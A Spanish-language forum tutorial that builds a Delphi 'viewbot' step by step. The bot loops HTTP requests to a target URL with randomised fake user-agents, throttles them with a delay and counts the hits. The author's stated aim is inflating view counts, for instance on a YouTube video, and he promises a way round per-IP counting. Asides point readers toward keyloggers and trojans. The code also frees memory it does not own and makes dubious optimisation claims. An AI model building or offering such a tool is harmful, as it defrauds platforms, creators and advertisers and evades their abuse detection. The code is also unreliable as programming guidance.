Código (pascal) [Seleccionar]
program rweb;

uses
 WinInet,
 Windows,
 SysUtils;

{$APPTYPE CONSOLE}

{$HPPEMIT '#include <wininet.h>'}

const
 INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG}
 INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT}
 INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY}
 INTERNET_FLAGS_MASK         = INTERNET_FLAG_RELOAD      or
                               INTERNET_FLAG_NO_COOKIES;
 {$EXTERNALSYM INTERNET_FLAGS_MASK}
 ZERO                                = $00000000;
 HTTP                                = 'http://';

function
RequestInternet(url:string): BOOL;
var
 hInet,
 hUrl        : hInternet;

begin
 hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
 if assigned(hInet) then
 begin
   hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
     INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
   if assigned(hUrl) then begin
     Result:= true; end
   else begin Result:= false; end;
 end;

 InternetCloseHandle(hInet);
 InternetCloseHandle(hUrl);
end;

// inicializamos el programa con la funcion
begin
if RequestInternet( string(ParamStr(1)) ) then
 begin
   writeLn('Sesion exitosa'); end
 else begin
   writeLn('Ha surgido un problema en la conexion...'); end;
end.


Dentro de begin y end. (no end;), se inicia el programa, y el end. (con punto) remarca la finalización del código.
ParamStr(1) es el argumentos de la aplicación (el que le pasaremos como parámetro cuando la ejecutemos).
Osease rweb 'pagina a visitar'.

5)Probando nuestro robot por primera vez:
Simple y eficaz, luego agregaremos más características, como user agents hasheados en una variable random,
que dará como resultado user-agents falsos, pero por ahora el código esta bien y es necesario  probarlo antes de continuar.

Entonces naveguemos hasta el directorio de nuestro projecto y hagan lo que se muestra en la imagen (yo copie mi rweb.exe en C:/ )



Como vemos en el primer ejemplo "rweb localhost"(por si no ves la imagen),
nos indica que la sesión fue exitosa (ya que tengo xampp corriendo).


Y en el segundo ejemplo vemos "ha surgido un problema en la conexión" ya que visitamos una web no existente,
el http:// adelante no lo agregamos por que en nuestro código previo ya lo habíamos hecho.

6) Convirtiendo nuestra PC en un servidor web de pruebas:
Si no sabes que es xampp, wampp, etc.. te recomiendo que te pases por aca: http://es.wikipedia.org/wiki/XAMPP
no entraremos en este tema, por que es irrelevante, ya que este es un tutorial sobre desarrollo de viewbots,
pero básicamente esto convierte tu maquina en un servidor web (y es necesario para hacer las pruebas locales),
lo puedes descargar de acá: http://www.apachefriends.org/es/xampp.html y para instalarlo
te dejo esta guía: http://vagabundia.blogspot.com/2012/07/como-instalar-xampp-en-windows.html
Eso sera suficiente para entrar en "localhost" o lo que es lo mismo "127.0.0.1" .

7)Creando un contador de visitas en PHP y algo más... :
En el ejemplo anterior vimos que nuestro pequeño bot funciona, y hasta nos avisa que la sesión fue exitosa,
¿pero realmente como sabemos que así fue?, y mas importante aun, como podemos tener un control de ello,
antes de adelantarnos a agregar mas en nuestro código haremos un simple contador de visitas en PHP
y ademas haremos que nos diga nuestra IP y USER-AGENT(navegador), también lo guardaremos en un archivo .txt .

NOTA RAPIDA: en Xampp la carpeta para entrar al index y agregar nuestra pagina es
C:/xampp/htdocs en otros servicios es probable encontrar la carpeta en /www .

Código en PHP (crea un archivo con la extensión .php que se llame contador y guardala en htdocs):

Código (php) [Seleccionar]
<?php
// Encargada de capturar la ip (o ip remota en el caso de que sea en la web).
$ip=$_SERVER['REMOTE_ADDR'];
// Captura el navegador.
$user_agent=$_SERVER['HTTP_USER_AGENT'];
echo 
"Tu ip real es: ".$ip;
echo 
"<br>Y tu navegador es: ".$user_agent;

// Archivo en donde se acumulará el numero de visitas
$contador "contador.txt";
// Archivo en donde se guardara tu ip y navegador.
$info   = "ips.txt";

// Abrimos el archivo para solamente leerlo (r de read)
$abre_visitas fopen($contador"r");
// Leemos el contenido del archivo
$total fread($abre_visitasfilesize($contador));
// Cerramos el archivo
fclose($abre_visitas);

// Abrimos nuevamente el archivo
$abre_visitas fopen($contador"w");
// Sumamos 1 nueva visita
$total $total 1;

// Y reemplazamos por la nueva cantidad de visitas 
$grabar_visitas fwrite($abre_visitas$total);
// Cerramos la conexión al archivo
fclose($abre_visitas);

// Imprimimos el total de visitas dándole un formato
echo "<br><br><i>Total de visitas: ".$total;
// abrimos el segundo archivo donde ira la ip y navegador.
$abre_datosfopen($info"a+");
// lo escribimos (PHP_EOL es un salto de linea).
$grabar_datos fwrite($abre_datosPHP_EOL ."Tu ip es: ".$ip.PHP_EOL ."Tu navegador es: ".$user_agent);
fclose($abre_datos);
?>


Como vemos el código es bastante básico, pero la idea no es mala y con esto bastara para saber
el navegador con el que se loguea nuestro bot y cuantas veces lo hace.

Haremos otra visita, pero esta ves al "contador.php"


En la imagen podemos observar el total de visitas, 5 que hice comúnmente, y la numero 6 del bot,
vamos a la carpeta xampp/htdocs y veamos los ficheros formados y que contienen.

Muy bien, tenemos "contador.txt" con el numero 6, y "ips.txt" con los navegadores visitados y la ip,
en la imagen podemos observar que el ultimo (el remarcado con azul) dice:
Tu navegador es: USER-AGENT: ROBOT
Exelente! Esto quiere decir que nuestro pequeño bot dio resultado. ¿Recuerdan esto?:
Código (pascal) [Seleccionar]
hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);

Pues hay lo tienen!.

8)Hashes mixtos para nuestra maquina:
Nuestro próximo objetivo es hacer hashes que se generen automáticamente, y con una llamado de "Ramdom" se creen al azar,
crearemos una nueva función llamada RandomHashes arriba de RequestInternet, entonces nuestro código sera el siguiente:
Código (pascal) [Seleccionar]
const:
BUFFSIZE                            = $00000041;  // 65d
function
 RandomHashes(LenDict:integer):string;
const
 BuffHash    : Array[0..BUFFSIZE] of Char= (
   'a', 'b', 'c', 'd', 'e', 'f', 'g',
   'h', 'i', 'j', 'k', 'l', 'm', 'n',
   'o', 'p', 'q', 'r', 's', 't', 'u',
   'u', 'v', 'w', 'x', 'y', 'z', 'A',
   'B', 'C', 'D', 'E', 'F', 'G', 'H',
   'I', 'J', 'K', 'L', 'M', 'N', 'O',
   'P', 'Q', 'R', 'S', 'T', 'U', 'V',
   'W', 'X', 'Y', 'Z', '0', '1', '2',
   '3', '4', '5', '6', '7', '8', '9',
   '=', '?', '-'
 );


Creamos 2 constantes, la primera llamada BUFFSIZE fuera de la función, que tendrá la longitud de nuestro diccionario ,
y la segunda constante(dentro de la función) tendrá nuestro diccionario de letras que se generaran al azar.
NOTA: $00000041(hex) en decimal es 65, osea que nuestro diccionario tiene 66 de longitud real (por que el array se inicializa
en zero y también es contado como lugar).

Ahora lo que haremos sera generar el hash, y lo imprimiremos en pantalla,
esto es para asegurarnos de que la función esta haciendo su trabajo correctamente.
Código (pascal) [Seleccionar]
var
 iHash         : Integer;
 PBuffHash     : Char;
repeat
 iHash:= Length(BuffHash)-LenDict;
 repeat
   Randomize;
   PBuffHash:= BuffHash[Random(Length(BuffHash))];
   asm
     @@StartUp:
       DEC(iHash);
   end;
   Result:= Result+PBuffHash;
 until (iHash<ZERO);
 Result:= Result;

 ZeroMemory(Addr(iHash), SizeOf(iHash));
 ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash));


Tranquilos que esto es muy fácil, solo hay que desmenuzar el código y analizarlo con tranquilidad.
Código (pascal) [Seleccionar]
iHash: sera la longitud de la variable "BuffHash" que como vimos anteriormente es la que contiene nuestro diccionario.
Código (pascal) [Seleccionar]
PbuffHash: Sera de tipo Char y contendrá como dato nustro hash.
Código (pascal) [Seleccionar]
Randomize: es un procedimiento(procedure), NO! una función.
y básicamente genera números al azar en conjunción con la función Ramdom, que ya veremos.
Código (pascal) [Seleccionar]
PBuffHash:= BuffHash[Random(Length(BuffHash))];
Acá lo que estamos haciendo es decirle a PbuffHash, que almacene nuestro diccionario,
que es de tipo char(por esto te comentaba que ambas variables deben ser de tipo Char).
Código (pascal) [Seleccionar]
Random();
es una función que genera números al azar y
Código (pascal) [Seleccionar]
length(BuffHash);
repito de nuevo, sera la longitud de nuestro diccionario en la que se generara el hash.
Código (pascal) [Seleccionar]
asm
     @@StartUp:
       DEC(iHash);
end;

Recordemos que siempre el código en ensamblador se ejecuta mas rápido, y así de alguna manera estamos pre-optimizando nuestro código.

9)Un vistazo a la programación monolítica:
Aquellos que sean programadores de la vieja escuela sabrán que antes no existía la programación estructurada como tal,
por lo que se hacía con labels, o etiquetas, por esto usar gotos es una mala manera de programar aun que en algunos casos
no queda remedio...
Código (pascal) [Seleccionar]
@@Startup: Sera nuestra etiqueta de comienzo algo así como una referencia en el código,
y DEC lo que hace es decrementar en 1 la variable pasada como argumento, mas adelante explicare por que.


Código (pascal) [Seleccionar]
Repeat y until (iHash<ZERO);
Repite nuestro código(generando char por char en PbuffHash) hasta que se cumpla una condición,
por ejemplo lo que vimos anteriormente es que estamos decrementando
iHash(contenedor de la longitud de nuestro diccionario) en 1,
osea que nuestro until se dejara de ejecutar cuando este llegue a zero, y la variable que le pase "ZERO" es la constante definida anteriormente.
Código (pascal) [Seleccionar]
Result:= Result+PBuffHash;
¿Recuerdan lo de los Results que les había explicado?, pues es tiempo de darles uso,
y aquí lo que hacemos es sumar el valor en cada repetición, en este caso  "PbuffHash" el cual es nuestro hash generandose.
Ahora le decimos a que sea igual al resultado ya generado, osease Result:= Result;

10)Limpiando variables en memoria:
Código (pascal) [Seleccionar]
ZeroMemory(Addr(iHash), SizeOf(iHash));
Esta función es el equivalente a FillChar y es muy útil para limpiar una variable en memoria(también para incializarla en $00000000),
en realidad si hubiera inicializado otro tipo de array (ya sea de punteros especialmente),
haría algo como
Código (pascal) [Seleccionar]
ZeroMemory(HandlerArrayOPuntero, SizeOf(HandlerArrayOPuntero))
pero lo del Addr,  es para limpiar fuera de la memoria nuestra variable, ademas es Addr quien contiene la dirección.

Y para terminar la explicación, nuestra función recibe un parámetro "LenDict" de tipo integro,
esta será la longitud total que queremos que tenga nuestro diccionario,
habíamos dicho que 66 en decimal, pero la verdad que es un valor MUY largo para nuestro bot,
entonces lo restaremos en nuestra función prorroga.

Probemos la funcion (en begin comente lo anterior hecho para la pruebita):
Código (pascal) [Seleccionar]
begin
(*
 if RequestInternet( string(ParamStr(1)), 40) then
 begin
   writeLn(#13#10+'Sesion exitosa'); end
 else begin
   writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;
*)

 WriteLn('Hash formado: ', RandomHashes(45));
 Sleep($500);
end.


Pueden observar que le pasamos el número 45 osea 66-45=21, pero la longitud total es 22 por que inicializamos el array en 0.

Y ahora es tiempo de tocar RequestInternet, es tan facil como agregar nuestra nueva función:
Código (pascal) [Seleccionar]
function
RequestInternet(url:string; Hashes: integer): BOOL;
var
 hInet,
 hUrl        : hInternet;
 NHash       : Pchar; // Creamos otra variable
begin
 NHash:= Pchar(RandomHashes(Hashes)); // Llamamos nuestra función generadora de hashes
 hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
 if assigned(hInet) then
 begin
   hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
     INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
   if assigned(hUrl) then begin
     Result:= true;
     WriteLn('Hash generado: '+NHash); end // mostramos el hash generado.
   else begin Result:= false; end;
 end;

 InternetCloseHandle(hInet);
 InternetCloseHandle(hUrl);
 FreeMemory(NHash); // liberamos nuestra variable de tipo puntero.
End;

Código (pascal) [Seleccionar]
NHash:= Pchar(RandomHashes(Hashes));
Entonces Nhash contendrá nuestro hash generado en la longitud de 22 y lo pondremos en InternetOpen para que cambie nuestro USER-AGENT,
terminemos el código(por ahora).
Entonces si todo va bien te debería quedar de la siguiente manera:
Código (pascal) [Seleccionar]
program rweb;

uses
 WinInet,
 Windows,
 SysUtils;

{$APPTYPE CONSOLE}

{$HPPEMIT '#include <wininet.h>'}

const
 INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG}
 INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT}
 INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY}
 INTERNET_FLAGS_MASK                 = INTERNET_FLAG_RELOAD      or
                                       INTERNET_FLAG_NO_COOKIES;
 {$EXTERNALSYM INTERNET_FLAGS_MASK}

 ZERO                                = $00000000;
 BUFFSIZE                            = $00000041;  // 66d
 HTTP                                = 'http://';

function
 RandomHashes(LenDict:integer):string;
const
 BuffHash    : Array[0..BUFFSIZE] of Char= (
   'a', 'b', 'c', 'd', 'e', 'f', 'g',
   'h', 'i', 'j', 'k', 'l', 'm', 'n',
   'o', 'p', 'q', 'r', 's', 't', 'u',
   'u', 'v', 'w', 'x', 'y', 'z', 'A',
   'B', 'C', 'D', 'E', 'F', 'G', 'H',
   'I', 'J', 'K', 'L', 'M', 'N', 'O',
   'P', 'Q', 'R', 'S', 'T', 'U', 'V',
   'W', 'X', 'Y', 'Z', '0', '1', '2',
   '3', '4', '5', '6', '7', '8', '9',
   '=', '?', '-'
 );
var
 iHash         : Integer;
 PBuffHash     : Char;
begin
 iHash:= Length(BuffHash)-LenDict;
 repeat
   Randomize;
   PBuffHash:= BuffHash[Random(Length(BuffHash))];
   asm
     @@StartUp:
       DEC(iHash);
   end;
   Result:= Result+PBuffHash;
 until (iHash<ZERO);
 Result:= Result;

 ZeroMemory(Addr(iHash), SizeOf(iHash));
 ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash));
end;

function
RequestInternet(url:string; Hashes: integer): BOOL;
var
 hInet,
 hUrl        : hInternet;
 NHash       : PChar;
begin
 NHash:= PChar(RandomHashes(Hashes));
 hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
 if assigned(hInet) then
 begin
   hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
     INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
   if assigned(hUrl) then begin
     Result:= true;
     WriteLn('Hash generado: '+NHash); end
   else begin Result:= false; end;
 end;

 InternetCloseHandle(hInet);
 InternetCloseHandle(hUrl);
 FreeMemory(NHash);
end;

begin
 if RequestInternet( string(ParamStr(1)), 40) then
 begin
   writeLn(#13#10+'Sesion exitosa'); end
 else begin
   writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;
 Sleep($500);
end.

Y listo!, hora de probar nuestro robot:

11) Probando nuestro viewbot por 2º vez:
Parámetro : rweb localhost/contador.php


¿Que tal he? Va tomando color.
Vamos a automatizarlo para que mientras visite nuestro sitio deseado, nosotros no tengamos que hacer nadas mas que
esperar viéndonos un capitulo de los simpson mientras comemos helado.

Agregamos los siguiente:
Código (pascal) [Seleccionar]
/en const:
F5KEY                               = $00000074;  // 116decimal = F5
var
 Init        : BOOL = True;

begin
 while Init do begin
   WriteLn('Apreta (F5) para salir de Rbot. ');
   if RequestInternet( string(ParamStr(1)), 40) then
   begin
     writeLn(#13#10+'Sesion exitosa!'); end
   else begin
     writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;

   if GetasyncKeyState(F5KEY)<>ZERO then begin
     Init:= false;
     WriteLn(#13#10+'Opcion salida por el usuario.');
   end;
 end;

 Sleep($500);
end.

Aun mas fácil!, en constante definimos "F5KEY" el cual es un valor hexa de 74 osea traducido en decimal 116 que es la tecla F5
var Init : BOOL = True, lo dejaremos para mas adelante, ya que esto inicializar el loop en true.
Código (pascal) [Seleccionar]
while Init do begin: el bucle while permanecerá repitiéndose mientras sea True de otro modo se rompe y salimos de la aplicación .
Código (pascal) [Seleccionar]
if GetasyncKeyState(F5KEY)<>ZERO then begin  Init:= false; ...
GetasyncKeyState es un función de windows, el cual nos permitirá registrar lo que escribamos,
es muy intuitiva y fácil(también usada para keyloggers, aunque nada como hooks).
Como parámetro recibe la tecla presionada, osease F5 que es la que usaremos para salir, y <>
ZERO nos dice que mientras sea distinto a zero no igualara Init a False lo que pondrá fin a nuestro bucle.

El parámetro según la msdn:
Código (cpp) [Seleccionar]
SHORT WINAPI GetAsyncKeyState(
 int vKey
);

para mas información consultalo aquí: http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx

12) Usando el API Winsock para obtener IPs:
Bueno este paso es opcional, pero lo recomiendo mucho, ya que ayudara a entender(un poco) la librería WinSock,
tal ves mas adelante(en otro tuto), hablaremos de ello y enseñare a como usarla, incluso si se quiere programar un troyano,
yo por mi parte la aprendía a usar con este objetivo, y hace poco había echo un troyano con tal funciones,
aun que le queda mucho por optimizar, pero ya, dejemos lo ahí...
Crearemos otra función llamada GetIp, la cual nos dirá la IP del servidor pasado como paramentro,
Entonces el código es el siguiente (vamos que queda poquísimo y es fácil):
Código (pascal) [Seleccionar]
const:
INADDRSIZE                          = $0000000A;
var:
 IRobot         : Integer = 0;
 WSData      : WsaData;
function
 GetIP(): PChar;
type
 aIn_addr      = array [0..INADDRSIZE] of pInAddr;
 pIn_addr      = ^aIn_addr;
var
 Hostent     : PHostEnt;
 HostAddr    : pIn_addr;
begin
 WSAStartup($1, WSData);
 Hostent:= GetHostBYName( PChar(ParamStr(1)) );
 HostAddr:= pIn_addr(Hostent^.h_addr_list);
 Result:= inet_ntoa(HostAddr^[ZERO]^);

 FreeMemory(HostAddr);
 WSACleanUp;
end;

Código (pascal) [Seleccionar]
const: INADDRSIZE = $0000000A;
Acuérdense, esto va en constantes(fuera de la función),
y el valor es el que tendrá nuestro Array "A" en hexa es el equivalente a 10 en decimal.
Código (pascal) [Seleccionar]
aIn_addr = array [0..INADDRSIZE] of pInAddr;
Esto va en constantes(dentro de la función), pInAddr es un puntero de ^TinAddr que ha su vez termina en "in_addr"
Código (pascal) [Seleccionar]
pIn_addr      = ^aIn_addr;
Puntero a "aIn_addr" nuestro array.
Código (pascal) [Seleccionar]
Hostent : PhostEnt;
Es el "result"(recuerde que explique esto anteriormente) de la función "gethostbyname" por
medio de stdcall.
Código (pascal) [Seleccionar]
HostAddr : pIn_addr;
Puntero a "pIn_addr" que a su vez es un puntero de "aIn_addr" que contiene otro array de punteros
(puede sonar confuso..)
Código (pascal) [Seleccionar]
WSData : WsaData; y WSAStartup($1, WSData);
Para ello nos vamos a la bendita msdn, los parámetros son los siguientes:
Código (cpp) [Seleccionar]
int WSAStartup(
 WORD wVersionRequested, // Versión de sockets que se usaran
 LPWSADATA lpWSAData // Puntero a WsaData el que definimos en las variables
);

Mas información puede encontrarse aquí: http://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx
Código (pascal) [Seleccionar]
Hostent:= GetHostByName( PChar(ParamStr(1)) );
Ya había mencionado que PhostEnt era el resultado de esta función, así
que obviamente al definirla la usaremos, (paramstr 1 es el sitio web que
visitemos ej:www.youtube.com)
Código (pascal) [Seleccionar]
HostAddr:= pIn_addr(Hostent^.h_addr_list);
Y no podía faltar el puntero de puntero de punteros...
Ejemplo:
Código (pascal) [Seleccionar]
function GetHostByName(name: PChar): PHostEnt; stdcall;
Para entender esta función debemos recurrir de nuevo a la msdn, luego daré un ejemplo
Entonces los parámetros son los siguientes:
Código (cpp) [Seleccionar]
struct hostent* FAR gethostbyname(
 const char *name // Puntero al nombre del host a traducir a IP
);

Código (pascal) [Seleccionar]
h_addr_list;
lista de direcciones IP para el servidor pasado como parametro.
Mas info en: http://msdn.microsoft.com/en-us/library/windows/desktop/ms738524(v=vs.85).aspx

Si quieren saber mas sobre gethostbyname y gethostbyaddr: http://beej.us/guide/bgnet/output/html/multipage/gethostbynameman.html

Por ahora no es necesario que lo comprendan un 100%, pero seria bueno, ahora lo que sigue es:
Código (pascal) [Seleccionar]
Result:= inet_ntoa(HostAddr^[ZERO]^);
Otra vez por la msdn: http://msdn.microsoft.com/en-us/library/windows/desktop/ms738564(v=vs.85).aspx

De todos modos lo explicare, esta función convierte una dirección de red de tipo Ipv4 en un ASCII
Ejemplo:
Código (cpp) [Seleccionar]
char* FAR inet_ntoa(
 struct   in_addr in // Representa un dirección de internet
);


Y como no un record. Aquí lo pondré mas claro, nada como un ejemplo(de Winsock.pas):
Código (pascal) [Seleccionar]
PInAddr = ^TInAddr;
 {$EXTERNALSYM in_addr}
 in_addr = record
   case integer of
     0: (S_un_b: SunB);
     1: (S_un_w: SunW);
     2: (S_addr: u_long);
 end;
 TInAddr = in_addr; // Puntero a in_addr.

FreeMemory(HostAddr); // Libera el array de punteros
WSACleanUp; // Limpia el socket.


13)Finalizando:
Y para finalizar nuestra primer entrega(y espero que no sea la ultima), eso sí, si a la gente le gusta.
Haremos un pequeño timer para que el tiempo en visitar una pagina no sea demasiado grande,
recordemos que el bucle while se genera muy rapido,
y con tan solo decirles que ejecutado así nada mas en menos de 30 segundos hice casi 100 visitas a mi pagina y esto
puede ser realmente muy molesto (y obvio), por esto ademas veremos cuantas visitas hacemos en un rango de X segundos:

Agregaremos lo siguiente al begin principal:
Código (pascal) [Seleccionar]
agrega en constantes
HASHKEY                             = $00000028; // 40 decimal
begin
 WriteLn('Apreta (F5) para salir de Rbot. ');
 while Init do begin
   if RequestInternet( string(ParamStr(1)), HASHKEY, StrToInt(ParamStr(2))) then
   begin
     asm
       @@StartUp:
         Inc(IRobot)
     end;
     writeLn(
       '[Servidor visitado]: ', ParamStr(1),
       #13#10+'[Ip]: ', PChar(GetIP()), #13#10+'[Numero de veces]: ', IRobot,
       #13#10+'Sesion exitosa!'+#13#10
       +'============================'
     );
   end
   else begin
     writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;

   if GetasyncKeyState(F5KEY)<>ZERO then begin
     Init:= false;
     WriteLn(#13#10+'Opcion salida por el usuario.');
   end;
 end;
 ZeroMemory(Addr(IRobot), sizeof(IRobot));
end.


Bien, HASHKEY es 40 en decimal, que sera la longitud del hash que restaremos(con 66 el total de nuestro diccionario en la función RandomHashes),
y Como 3º parámetro recibirá los segundos que tardara en hacer la repetición,  por ultimo retocaremos la función  RequestInternet.
Código (pascal) [Seleccionar]
function
RequestInternet(url:string; Hashes, Secs: integer): BOOL; // Secs: segundos pasados
var
 hInet,
 hUrl        : hInternet;
 NHash       : PChar;
begin
 NHash:= PChar(RandomHashes(Hashes));
 hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
 if assigned(hInet) then
 begin
   hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
     INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
   if assigned(hUrl) then begin
     Result:= true;
     WriteLn('Hash generado: '+NHash); end
   else begin Result:= false; end;
 end;
 Sleep(Secs*1000); // Delay del tiempo en hacer la repetición
 InternetCloseHandle(hInet);
 InternetCloseHandle(hUrl);
 FreeMemory(NHash);
end;


TERMINAMOS!!! Entonces el código final te debería quedar así..
Código (pascal) [Seleccionar]
program rweb;
uses
 WinInet,
 WinSock,
 Windows,
 SysUtils;

{$APPTYPE CONSOLE}

{$HPPEMIT '#include <wininet.h>'}

const
 INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG}
 INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT}
 INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY}
 INTERNET_FLAGS_MASK                 = INTERNET_FLAG_RELOAD      or
                                       INTERNET_FLAG_NO_COOKIES;
 {$EXTERNALSYM INTERNET_FLAGS_MASK}

 ZERO                                = $00000000;
 BUFFSIZE                            = $00000041; // 65d
 F5KEY                               = $00000074; // 116d (F5)
 HASHKEY                             = $00000028; // 40d
 INADDRSIZE                          = $0000000A; // 10d

 HTTP                                = 'http://';

var
 Init        : BOOL    = True;
 IRobot      : Integer = 0;
 WSData      : WsaData;

function
 RandomHashes(LenDict:integer):string;
const
 BuffHash    : Array[0..BUFFSIZE] of Char= (
   'a', 'b', 'c', 'd', 'e', 'f', 'g',
   'h', 'i', 'j', 'k', 'l', 'm', 'n',
   'o', 'p', 'q', 'r', 's', 't', 'u',
   'u', 'v', 'w', 'x', 'y', 'z', 'A',
   'B', 'C', 'D', 'E', 'F', 'G', 'H',
   'I', 'J', 'K', 'L', 'M', 'N', 'O',
   'P', 'Q', 'R', 'S', 'T', 'U', 'V',
   'W', 'X', 'Y', 'Z', '0', '1', '2',
   '3', '4', '5', '6', '7', '8', '9',
   '=', '?', '-'
 );
var
 iHash         : Integer;
 PBuffHash     : Char;
begin
 iHash:= Length(BuffHash)-LenDict;
 repeat
   Randomize;
   PBuffHash:= BuffHash[Random(Length(BuffHash))];
   asm
     @@StartUp:
       DEC(iHash);
   end;
   Result:= Result+PBuffHash;
 until (iHash<ZERO);
 Result:= Result;

 ZeroMemory(Addr(iHash), SizeOf(iHash));
 ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash));
end;

function
RequestInternet(url:string; Hashes, Secs: integer): BOOL;
var
 hInet,
 hUrl        : hInternet;
 NHash       : PChar;
begin
 NHash:= PChar(RandomHashes(Hashes));
 hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
 if assigned(hInet) then
 begin
   hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
     INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
   if assigned(hUrl) then begin
     Result:= true;
     WriteLn('Hash generado: '+NHash); end
   else begin Result:= false; end;
 end;
 Sleep(Secs*1000);
 InternetCloseHandle(hInet);
 InternetCloseHandle(hUrl);
 FreeMemory(NHash);
end;

function
 GetIP(): PChar;
type
 aIn_addr      = array [0..INADDRSIZE] of pInAddr;
 pIn_addr      = ^aIn_addr;
var
 Hostent     : PHostEnt;
 HostAddr    : pIn_addr;
begin
 WSAStartup($1, WSData);
 Hostent:= GetHostBYName( PChar(ParamStr(1)) );
 HostAddr:= pIn_addr(Hostent^.h_addr_list);
 Result:= inet_ntoa(HostAddr^[ZERO]^);

 FreeMemory(HostAddr);
 WSACleanUp;
end;

begin
{$O+} // Directiva para optimización
 WriteLn('Apreta (F5) para salir de Rweb. ');
 while Init do begin
   if RequestInternet( string(ParamStr(1)), HASHKEY, StrToInt(ParamStr(2))) then
   begin
     asm
       @@StartUp:
         Inc(IRobot)
     end;
     writeLn(
       '[Servidor visitado]: ', ParamStr(1),
       #13#10+'[Ip]: ', PChar(GetIP()), #13#10+'[Numero de veces]: ', IRobot,
       #13#10+'Sesion exitosa!'+#13#10
       +'============================'
     );
   end
   else begin
     writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;

   if GetasyncKeyState(F5KEY)<>ZERO then begin
     Init:= false;
     WriteLn(#13#10+'Opcion salida por el usuario.');
   end;
 end;
 ZeroMemory(Addr(IRobot), sizeof(IRobot));
{$0-}
end.


14)Probando nuestro viewbot por 3º vez!:
Hora de probarlo!!!.

Y como ven los argumentos usados son:  <sitio_web> <intervalo en tiempo>
Nota: Para aumentar un vídeo en especifico debes usar la url del sitio mas el enlancé,
Ej: http://www.youtube.com/mi_video_a_aumentar

Claro, youtube cuenta una vez por IP, como algunos sitios pero a no preocuparse que en la próxima entrega veremos
como soluciónar ese problema, y lo mismo de siempre, si comentan y les gusta, si no, no hay problema...

15)Usando StripReloc para hacer el ejecutable mas pequeño y su relación con .reloc:
StripReloc se encarga de eliminar una parte de la sección que windows agrega por defecto a los PE(Portable ejecutable) ".reloc",
(no toda), sino aquella que los compiladores como delphi 7 agregan y
son inútiles, de esta manera reduce el ejecutable moderadamente.
puedes encontrar mas documentación acerca de estas cabeceras acá: http://es.wikipedia.org/wiki/Portable_Executable
tambien  pueden encontrar StripReloc en el siguiente link: http://www.jrsoftware.org/striprlc.php
Para usarlo debemos descargarnos el .zip de la pagina que les pase. Una vez descomprimido,
obtendremos un .exe llamado "StripReloc".
Naveguemos hasta la ruta del exe, y los parámetros son: "StripReloc <EXE_A_REDUCIR>"

La reducción ha sido considerable, veamoslo:


16)Mirando en LordPe la sección .reloc:
¿Y si miramos en el LordPe?:

Repito!, esto no quita la sección, solo remueve lo innecesario que generan los compiladores

17)Viendo el Stack y el Heap con WinDbg(este paso solo es demostrativo):
Por ultimo usare windbg para ver el stack y los heaps asignados, es una aplicación pequeña pero es algo que siempre tengo en cuenta,
tómenlo como un detalle de mi parte:


18)Despedida:
Y bueno gente, se despide WarZ0n3, espero que les haya servido y aprendido algo acerca del mundo de las APIS,
y lo poderosas que son,  junto con la imaginación se puede hacer cualquier cosa,
también vimos como reducir un ejecutable, y optimizar código liberando variables en memoria y pequeño
uso de asm.
Ahora usando tu criterio y si has estudiado e investigado al respecto ya podrás hacer tu propio viewbot,
y mandármelo por PM o publicarlo en el foro dándome las gracias.
Saludos!.
#10
Saludos gente  ::)
